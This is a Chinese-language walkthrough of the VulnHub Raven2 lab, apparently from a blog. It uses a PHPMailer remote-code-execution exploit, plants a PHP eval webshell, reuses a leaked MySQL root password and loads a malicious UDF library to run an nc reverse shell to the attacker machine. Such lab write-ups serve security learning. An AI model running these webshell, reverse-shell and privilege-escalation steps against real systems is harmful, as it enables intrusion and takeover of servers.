vulnhub靶场–Raven靶场
信息收集
主机发现
ifconfig查看kali IP

nmap 192.168.23.0/24

端口扫描
nmap -sS 192.168.23.137 -p-




目录扫描
dirb http://192.168.23.137:80

中间件
whatweb 192.168.23.137

信息收集信息整理
端口开啦22端口ssh 80端口http 111端口rpcbind 45545端口
目录扫描扫出来如上dirb扫描(均可访问)可以看到有一个http://192.168.23.137:80/wordpress/目录cms或许可以利用cms漏洞提权

在/vendor/目录下看到一个path目录
威胁建模
在http://192.168.23.137/vendor/PATH下可以看到第一个flag和一个目录

flag1{a2c1f66d2b8051bd3a5874b5b6e43e21}
在/vendor目录下好友一个.md文件看一下
渗透攻击
查看README.md文件大概可以知道服务器上安装啦PHPMailer

/vendor/VERSION目录下可知有一个版本号5.2.16猜测是PPMailer的版本号

/vendor下还有一个changelog文件下载看到

目前信息
服务器上有PHPMailer 版本号5.2.16/17
cms wordpress但是并不知道版本
中间件Apache/2.4.10 (Debian) (apache我有尝试exp没有成功)
百度搜索是否有以上可以利用的漏洞

PHPMailer版本小于5.2.18有远程命令执行漏洞,(100条消息) PHPMailer远程命令执行漏洞复现_thelostworld-公众号的博客-CSDN博客_phpmailer漏洞复现这篇文章看下来感觉是有一个可以写mail的地方然后可以写马然后蚁剑连接在上传大马之类的
这个漏洞是因为邮件地址能够包含用引号括起来的空格,这样可以进行攻击参数的注入,CVE-2016-10033msf 搜索一下有没有可以用的模块

但,呃我这条路好像没有通

searchsploit phpmailer

把它cp出来
cd /usr/share/exploitdb/exploits/linux/local
cp 40974.py /home/kali/Documents/Raven2/
饿哦没能cp出来,更新一下exploit-db把~
wget http://www.exploit-db.com/archive.tar.bz2tar
-xvjf archive.tar.bz2rm archive.tar.bz2
嘿嘿我也不会更新这个库,那就谷歌搜索下载或复制粘贴进来吧

改完需要改的地方后运行它

然后监听5599端口,访问http://192.168.23.137/heihei.php

监听的端口接到shell

然后往heihei.php里面写一个小马~
echo '<?php @eval($_REQUEST['heihei']); phpinfo();?>' >>heihei.php
cat检查一下

然后蚁剑连接

有wp文件肯定要看一下config的

获得啦root账户的密码

root 密码 R@v3nSecurity

成功登录MySQL,select version();查看一下sql版本这个版本存在- CVE-2016-6662漏洞

查找相应程序

wget https://www.exploit-db.com/download/1518

gcc -g -c 1518.c
gcc -g -shared -o 1518.so 1518.o -lc


改个名吧就叫heihie吧习惯啦
然后将heihei.so传过去
python3 -m http.server 1234

wget http://192.168.23.132:1234/home/kali/Documents/Raven2/heihei.so

后渗透攻击
use mysql;
create table heihei(line blob); #新建一个表

heihei,用来存放本地传来的udf文件的内容
insert into heihei values(load_file(‘/tmp/heihei.so’)); #在heihei中写入heihei.so文件内容

select * from heihei into dumpfile ‘/usr/lib/mysql/plugin/heihei.so’; #将.so文件内容传入新建的.so文件中

create function do_system returns integer soname ‘heihei.so’; #导入.so函数

这个地方不去看1518.c文件可能无法理解,这里的function不可以随意起名,就是当在MySQL中创建函数时,必须使用我们定义的函数名称,因此我们只能使用1518里一个名为do_system的函数,我们定义啦函数do_system 却把它叫做别的名字,这是不对的。

这个语句我一直报错
select do_system(‘nc 192.168.23.132 5555 -e /bin/bash’); #执行

说实话我在新建完.so文件时我就觉得有点乱啦(给自己挖拉个大坑)
去监听

这么看的话中间应该有两个flag我们没有找
find / -name “flag*”

/var/www/html/wordpress/wp-content/uploads/2018/11/flag3.png

从蚁剑下载下来看

1761

被折叠的 条评论
为什么被折叠?



